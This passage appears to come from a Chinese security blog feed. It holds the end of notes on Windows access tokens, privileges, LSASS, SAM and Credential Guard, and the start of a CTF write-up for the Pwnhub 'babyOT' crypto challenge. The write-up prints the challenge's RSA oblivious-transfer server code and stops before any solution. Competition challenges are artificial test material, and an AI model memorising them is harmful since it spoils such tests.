SeImpersonatePrivilege            Attributes - Enabled Default </span><br><span class="line"> 30 0x00000001e SeCreateGlobalPrivilege           Attributes - Enabled Default </span><br><span class="line"> 33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes - </span><br><span class="line"> 34 0x000000022 SeTimeZonePrivilege               Attributes - </span><br><span class="line"> 35 0x000000023 SeCreateSymbolicLinkPrivilege     Attributes - </span><br><span class="line"> 36 0x000000024 SeDelegateSessionUserImpersonatePrivilege  Attributes - </span><br><span class="line">Authentication ID:         (0,23098)</span><br><span class="line">Impersonation Level:       Anonymous</span><br><span class="line">TokenType:                 Primary</span><br><span class="line">Source: User32             TokenFlags: 0x2000 ( Token in use )</span><br><span class="line">Token ID: 181366           ParentToken ID: 0</span><br><span class="line">Modified ID:               (0, de5e9)</span><br><span class="line">RestrictedSidCount: 0      RestrictedSids: 0x0000000000000000</span><br><span class="line">OriginatingLogonSession: 3e7</span><br><span class="line">PackageSid: (null)</span><br><span class="line">CapabilityCount: 0      Capabilities: 0x0000000000000000</span><br><span class="line">LowboxNumberEntry: 0x0000000000000000</span><br><span class="line">Security Attributes:</span><br><span class="line">Unable to get the offset of nt!_AUTHZBASEP_SECURITY_ATTRIBUTE.ListLink</span><br><span class="line">Process Token TrustLevelSid: (null)</span><br></pre></td></tr></table></figure><p>注意特权那一栏:<br>特权的第23,29,30 bit正好都是1，对应在bit的形式就是（注意存在第0位）:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">1100000100000000000000000000000</span><br></pre></td></tr></table></figure><p>正好和我们之前和内存中存在的形式看的一致。于是我们就能够知道当前进程中的token拥有的特权有:</p><ul><li>SeChangeNotifyPrivilege:这类用户能够绕过NTFS文件系统/注册表中的访问权限的check，也就是对文件有特殊的访问特权就是了。</li><li>SeImpersonatePrivilege:这类用户可以模拟已有的token，但是不能创建新的token，也就是模仿token的创建特权。</li><li>SeCreateGlobalPrivilege:这类用户可以创建全局的安全对象。（也就是那种跨session的global object的创建权限）</li></ul><h3 id="luid-local-identifier">LUID local identifier</h3><p>之前提到过，每一个安全对象都有一个唯一的<code>SID</code>，那么特权对象有没有对应的唯一标识符呢？其实是有的，就叫做<code>LUID</code>，本地唯一标识符（因为特权只对当前机器生效，所以不需要GUID）。LUID可以在每台机器之间都不同，甚至每次重启之后都不同。为了确认当前LUID和特权的对应关系，可以使用API</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">LookupPrivilegeValue</span><br><span class="line">LookupPrivilegeName</span><br></pre></td></tr></table></figure><p>进行切换。</p><h2 id="一些杂项">一些杂项</h2><h3 id="security-system-components">Security system components</h3><p>Windows下有很多实现了相关安全防护的组件（其中大部分都在<code>%SystemRoot%\System32</code>这个目录下)</p><p><img src="/2020/05/02/Windows-Via-C-C-note-4-2/win00.png" alt="win00.png"></p><h4 id="security-reference-monitor-srm">Security reference monitor(SRM)</h4><p>存在<code>ntoskrnl.exe</code>这个文件中，定义了acces token的数据结构，并且会对<code>security access</code>进行checks，以及对不同token分发权限，并且产生安全审计日志。</p><h4 id="local-security-authority-subsystem-service-lsass">Local Security Authority Subsystem Service(Lsass)</h4><p>常见的<code>user-mode</code>进程，主要用于本地操作系统安全策略管理（登陆用户管理，密码策略，用户（组）权限管理等等），用户权限，并且负责发送安全事件的日志。其中主要功能由<code>Local Security Authority service</code>(Lsasrv.dll)进行实现。</p><h4 id="lsaiso-exe">LSAIso.exe</h4><p>Lsass使用，或者叫做<code>Credential Guard</code>，用于存放用户token的hash值，而不是直接在Lsas的内存中存放。由于Lsaiso.exe是<code>Trustlet</code>进程（与普通用户空间隔离），所以当需要与<code>Lsass.exe</code>通信的时候，只能使用<code>ALPC</code></p><h4 id="lsass-policy-database">Lsass policy database</h4><p>数据库中存储了了本地系统安全策略的设置。这个模块被存储在又ACL保护下的<code>HKLM\SECURITY</code>下的注册表中。其中包含的信息有：</p><ul><li>哪个域被授权登入</li><li>哪个用户对系统有哪些操控权限</li><li>用户被分发的权限</li><li>启用的安全审计等级</li></ul><p>其中还存储了一些和登陆信息有关的<strong>秘密</strong>。</p><h4 id="security-accounts-manager-sam">Security Accounts manager(SAM)</h4><p>这个服务用于管理定义在当前机器中用户名的组的数据库。这个模块由<code>samsrv.dll</code>实现，并且会被load到进程<code>lsass</code>.</p><h4 id="sam-database">SAM database</h4><p>之前提到的被管理的数据库。里面存储了本地用户（组）以及对应密码和其他相关的属性。对于域控制者来说，<code>SAM</code>·中并不会存放域定义者的用户信息，但是会存放系统管理员恢复的账号和密码。这些数据存放在:<code>HKLM\SAM</code></p><h4 id="active-directory-活动目录">Active Directory（活动目录）</h4><p>这是一个目录服务，包含一个存储域中对象的数据库。一个域由许多的计算机组成，这些计算机会被组织成一个安全组，并且作为一个实体进行管理。AD会将这些对象的信息存放在域中，包括用户，组以及计算机。域用户和组的密码信息以及权限都会被存储在一个在所有计算机中，被设计为域管理员的AD中。AD server 由<code>Ntdsa.dll</code>实现，同样运行在<code>lsass.exe</code>进程中。</p><h4 id="authentication-packages">Authentication packages</h4><p>这个模块其实是指的哪些运行在lsass 以及其他实现了windows 客户验证的dlls。一个验证dll将会验证一个用户的用户名和密码是否匹配（或者当前机器会不会提供身份认证）。如果匹配，则返回给Lsass用户的安全身份，lsass用此来产生验证用的token。</p><h4 id="interactive-logon-manager-winlogon">Interactive logon manager(WinLogon)</h4><p>这个就是<code>Winlogon.exe</code>，是第一个用户态的程序，用来进行SAS（Shared Access Signature），并且对登陆的会话进行管理。当用户登陆成功后，winlogon.exe将会创建第一个用户程序。</p><h4 id="login-user-inerface-logonui">Login user inerface(LogonUI)</h4><p>一个用户态的进程<code>LogonUI.exe</code>可以让用户对自己的身份进行验证。</p><h4 id="credential-providers-cps">Credential providers(CPs)</h4><p>这个是一个COM对象，运行在进程LogonUI中，用来获取用户的用户名和密码，smartcard PIN 码，生物信息（指纹等等），或者其他的身份认证信息。完整的<code>CPs</code>由<code>authui.dll</code>，<code>SmartcardCredentialProvider.dll</code>，<code>BioCredProv.dll</code>以及<code>FaceCredentialProvider.dll</code>实现（有些特性win10才加入）</p><h4 id="network-logon-service-netlogon">Network logon service(Netlogon)</h4><p>这个是由<code>Netlogon.dll</code>（由svchost启动）模块实现的一个功能。用于设置对域控制的安全通道，以及安全请求。例如交互式登陆（如果域是在WIndows NT 4）或者LAN Manager以及NT LAN Manager(V1/V2)的身份认证，这个模块同样也会作为AD的登陆模块使用。</p><h4 id="kernel-security-device-driver-ksecdd">Kernel Security Device Driver(KsecDD)</h4><p>一个内核态的模块(<code>%SystemRoot%\System32\Drivers\Kescdd.sys</code>)，实现了<code>APLC(Advanced local procedure call</code>的结构。让其他的内核态安全模块（包括<code>Encryption File System(EFS)</code>）能与Lsass进行通信</p><h4 id="applocker">AppLocker</h4><p>这个功能运行管理员能够指定哪个<code>exe,dll，scripts</code>能被指定的用户执行。这个模块由内核驱动（<code>%SystemRoot%\System32\Drivers\Appld.sys</code>）和服务(<code>AppidSvc.dll</code>)两部分组成</p><h3 id="credential-guard">Credential Guard</h3><p><code>Crediential Guard</code>给系统中的不同元素提供了安全边界与保护。不过为了实现这个过程，首先需要知道程序是怎么实现身份验证的</p><ul><li>Password:登陆验证，这个是最常见的身份验证方法。</li><li>NT one-way function(NT OWF):通常在用户用password登陆成功后，使用<code>NT LAN</code>用于对传统模块的身份验证。不过在现在的网络系统验证已经不使用这部分内容了</li><li>Ticket-granting ticket(TGT):这就是现代的远程网络验证常用的一个验证方式:Kerberos.这也是通常<code>Windows AD域</code>下常做的验证方式。在登陆成功之后，TGT以及相应的密钥将会被提供给本地机器。</li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;Windows 安全相关知识下半节，这一章主要讲一下除了SID，DACL这类，还有哪些安全对象也在 Windows 安全中发挥着重要的作用&lt;/p&gt;
&lt;h2 id=&quot;more-windows-安全相关-下&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Dev" scheme="https://showlinkroom.me/categories/Dev/"/>
    
    
    <category term="Windows" scheme="https://showlinkroom.me/tags/Windows/"/>
    
  </entry>
  
  <entry>
    <title>pwnhub-crypto-theme</title>
    <link href="https://showlinkroom.me/2020/02/22/pwnhub-crypto-theme/"/>
    <id>https://showlinkroom.me/2020/02/22/pwnhub-crypto-theme/</id>
    <published>2020-02-22T14:19:50.000Z</published>
    <updated>2020-07-16T13:31:30.400Z</updated>
    
    <content type="html"><![CDATA[<p>好久没看到<code>Pwnhub</code>出题，于是趁着自己也研究了一下密码学相关的东西，看看能不能做出来一题。然而出题人实在是强，让人再一次明白了思路开阔的重要性</p><span id="more"></span><h2 id="pwnhub-crypto-解题记录">Pwnhub Crypto 解题记录</h2><p>比赛中我总共看了两个题目，这里先记录以下我在解<code>babyOT</code>的时候的思路</p><h2 id="题目描述">题目描述</h2><p>题目给出了一个<code>python</code>文件</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env -S python3 -u</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">from</span> Crypto.PublicKey <span class="keyword">import</span> RSA</span><br><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> bytes_to_long</span><br><span class="line"><span class="keyword">from</span> random <span class="keyword">import</span> SystemRandom</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">getkey</span>():</span><br><span class="line">    <span class="keyword">if</span> os.path.isfile(<span class="string">&quot;key.pem&quot;</span>):</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;key.pem&quot;</span>, <span class="string">&quot;rb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            key = RSA.importKey(f.read())</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        key = RSA.generate(<span class="number">2048</span>)</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;key.pem&quot;</span>, <span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            f.write(key.exportKey(<span class="string">&quot;PEM&quot;</span>))</span><br><span class="line">    <span class="keyword">return</span> key</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">random_str</span>(<span class="params">n</span>):</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;&quot;</span>.join([random.choice(string.ascii_letters) <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(n)])</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    random = SystemRandom()</span><br><span class="line"></span><br><span class="line">    key = getkey()</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(key.n)</span><br><span class="line">    <span class="built_in">print</span>(key.e)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        msg0 = bytes_to_long(random_str(<span class="number">2048</span> // <span class="number">8</span> - <span class="number">1</span>).encode())</span><br><span class="line">        msg1 = bytes_to_long(random_str(<span class="number">2048</span> // <span class="number">8</span> - <span class="number">1</span>).encode())</span><br><span class="line"></span><br><span class="line">        x0 = random.randrange(key.n)</span><br><span class="line">        x1 = random.randrange(key.n)</span><br><span class="line"></span><br><span class="line">        <span class="built_in">print</span>(x0)</span><br><span class="line">        <span class="built_in">print</span>(x1)</span><br><span class="line"></span><br><span class="line">        v = <span class="built_in">int</span>(<span class="built_in">input</span>())</span><br><span class="line">        <span class="built_in">print</span>((msg0 + <span class="built_in">pow</span>(v - x0, key.d, key.n)) % key.n)</span><br><span class="line">        <span class="built_in">print</span>((msg1 + <span class="built_in">pow</span>(v - x1, key.d, key.n)) % key.n)</span><br><span class="line"></span><br><span class="line">        guess0 = <span class="built_in">int</span>(<span class="built_in">input</span>())</span><br><span class="line">        guess1 = <span class="built_in">int</span>(<span class="built_in">input</span>())</span><br><span class="line">        <span class="keyword">if</span> guess0 == msg0:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;You are on the half way of success, work harder!&quot;</span>)</span><br><span class="line">            <span class="keyword">if</span> guess1 == msg1:</span><br><span class="line">                <span class="built_in">print</span>(<span class="built_in">open</span>(<span class="string">&#x27;flag&#x27;</span>).read())</span><br><span class="line">                exit()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>题目本身跑在server上，我们需要直接与其进行通信。不过乍一看，好像就是猜随机数<code>msg0/msg1</code>，还得一次性猜对。其次注意到，我们可以交互的地方是这个<code>v</code>值，以及最后的猜测<code>msg0/msg1</code>的值。题目中还使用了RSA算法，不过这里的RSA是用<code>PyCrypto</code>这个库来生成的，所以目测应该没有什么太大的漏洞。一眼看过去能够注意到的点就只有这些了。</p><p>从题目上看，可能和这个叫做<code>OT</code>的东西相关，队友了解到是一个叫做<code>Oblivious Transfer（不经意传输）</code>的协议。于是这里首先要了解一下这个协议本身:</p><h2 id="oblivious-transfer-不经意传输">Oblivious Transfer 不经意传输</h2><p>OT是多方安全计算下使用的算法之一。</p><h3 id="协议解决的场景">协议解决的场景</h3><p>要介绍一个协议，首先要介绍一下这个算法使用的场景：<br>假设有两个人Alice/Bob，Alice手上有很多的数据，Bob想要知道Alice的数据。但是两个人都非常小心，不想让对方知道自己的信息，具体来说就是：</p><ul><li>Alice不想让Bob知道他不该知道的信息</li><li>Bob不想让Alice知道他选择了哪个信息</li></ul><p>也就是说Bob想知道一个Alice信息，但是Alice不知道Bob选择了哪个信息，Bob也不能知道Alice的其他信息。（有一点零知识证明的意思）</p><h3 id="算法细节">算法细节</h3><p>这边用最简单的【1-2 不经意传输】做例子。<em>1-2的意思是【从两个消息中，选取一个信息】</em><br>这里摘录一个wiki的表格:<br><img src="/2020/02/22/pwnhub-crypto-theme/crypt00.png" alt=""></p><ol><li>Alice 有两个秘密消息m0, m1</li><li>Alice 使用RSA算法，生成公钥(e, N)对公开，私钥d自己留着。公钥(e, N)告知 Bob。<strong>这里需要注意的是，每次通信的时候RSA都要重新生成一对公钥私钥</strong></li><li>Alice 产生两个随机数x0, x1，并且将这两个随机数传输给 Bob。</li><li>Bob 【决定】要获取的数字编号b（0或者1），以及产生一个随机数</li><li>Bob 计算一个数字<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mo>=</mo><mo stretchy="false">(</mo><msub><mi>x</mi><mi>b</mi></msub><mo>+</mo><msup><mi>k</mi><mi>e</mi></msup><mo stretchy="false">)</mo><mi>m</mi><mi>o</mi><mi>d</mi><mi>N</mi></mrow><annotation encoding="application/x-tex">v=(x_b+k^e) mod N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">v</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">b</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.664392em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">e</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord mathdefault">m</span><span class="mord mathdefault">o</span><span class="mord mathdefault">d</span><span class="mord mathdefault" style="margin-right:0.10903em;">N</span></span></span></span> 这里的e即为前面给出来的RSA的公钥。并且将这个v发送给 Alice</li><li>Alice 计算多个<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>k</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">k_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.84444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.03148em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，其中一个<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>k</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">k_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.84444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.03148em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>将会等于k</li></ol><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>k</mi><mn>0</mn></msub><mo>=</mo><mo stretchy="false">(</mo><mi>v</mi><mo>−</mo><msub><mi>x</mi><mn>0</mn></msub><msup><mo stretchy="false">)</mo><mi>d</mi></msup><mi>m</mi><mi>o</mi><mi>d</mi><mi>N</mi><mspace linebreak="newline"></mspace><msub><mi>k</mi><mn>1</mn></msub><mo>=</mo><mo stretchy="false">(</mo><mi>v</mi><mo>−</mo><msub><mi>x</mi><mn>1</mn></msub><msup><mo stretchy="false">)</mo><mi>d</mi></msup><mi>m</mi><mi>o</mi><mi>d</mi><mi>N</mi></mrow><annotation encoding="application/x-tex">k_0=(v-x_0)^d mod N \\k_1=(v-x_1)^d mod N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.84444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03148em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.03588em;">v</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.149108em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">d</span></span></span></span></span></span></span></span><span class="mord mathdefault">m</span><span class="mord mathdefault">o</span><span class="mord mathdefault">d</span><span class="mord mathdefault" style="margin-right:0.10903em;">N</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:0.84444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03148em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.03588em;">v</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.149108em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">d</span></span></span></span></span></span></span></span><span class="mord mathdefault">m</span><span class="mord mathdefault">o</span><span class="mord mathdefault">d</span><span class="mord mathdefault" style="margin-right:0.10903em;">N</span></span></span></span></span></p><p>注意由于此时v并不是 Alice 产生的，所以此时的 Alice 并不知道哪一个k是 Bob 需要的<br>7. Alice 将生成的值与自己手上的信息进行相加，得到全新的信息</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>m</mi><mn>0</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo>=</mo><msub><mi>m</mi><mn>0</mn></msub><mo>+</mo><msub><mi>k</mi><mn>0</mn></msub><mspace linebreak="newline"></mspace><msubsup><mi>m</mi><mn>1</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo>=</mo><msub><mi>m</mi><mn>1</mn></msub><mo>+</mo><msub><mi>k</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">m_0&#x27;=m_0+k_0\\m_1&#x27;=m_1+k_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.048892em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathdefault">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8018919999999999em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.73333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.84444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03148em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1.048892em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathdefault">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8018919999999999em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.73333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">m</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.84444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03148em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" 